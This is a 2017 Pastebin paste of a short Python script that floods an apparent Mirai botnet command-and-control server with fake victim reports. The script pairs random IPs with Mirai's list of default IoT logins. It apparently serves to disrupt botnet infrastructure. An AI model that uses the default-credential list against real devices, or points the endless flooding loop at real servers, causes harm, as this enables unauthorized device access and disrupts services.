Advertisement
Guest User

Mirai Junk Sender

a guest
Jun 2nd, 2017
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.91 KB | None | 0 0
  1. from faker import Factory
  2. import random, socket, sys
  3.  
  4. username_password = ["root:xc3511","root:vizxv", "root:admin","admin:admin","root:888888","root:xmhdipc","root:default","root:juantech","root:123456","root:54321","support:support","root:","admin:password","root:root","root:12345","user:user","admin:","root:pass","admin:admin1234",]
  5. rand_ip = Factory.create()
  6.  
  7. def get_random_reportstr():
  8. global username_password
  9. report_str = "REPORT " + rand_ip.ipv4() + " " + random.choice(username_password) + "\n"
  10. return report_str
  11.  
  12.  
  13.  
  14. if __name__ == "__main__":
  15.  
  16. try:
  17. CNC_IP = sys.argv[1]
  18. CNC_PORT = sys.argv[2]
  19. except IndexError:
  20. print "Usage: " + sys.argv[0] + " <CNC IP> <CNC PORT>"
  21.  
  22. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  23. s.connect((CNC_IP, int(CNC_PORT)))
  24. while True:
  25. report_str = get_random_reportstr()
  26. s.send(report_str)
  27. print "Sent \"" + report_str + "\" to " + CNC_IP
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement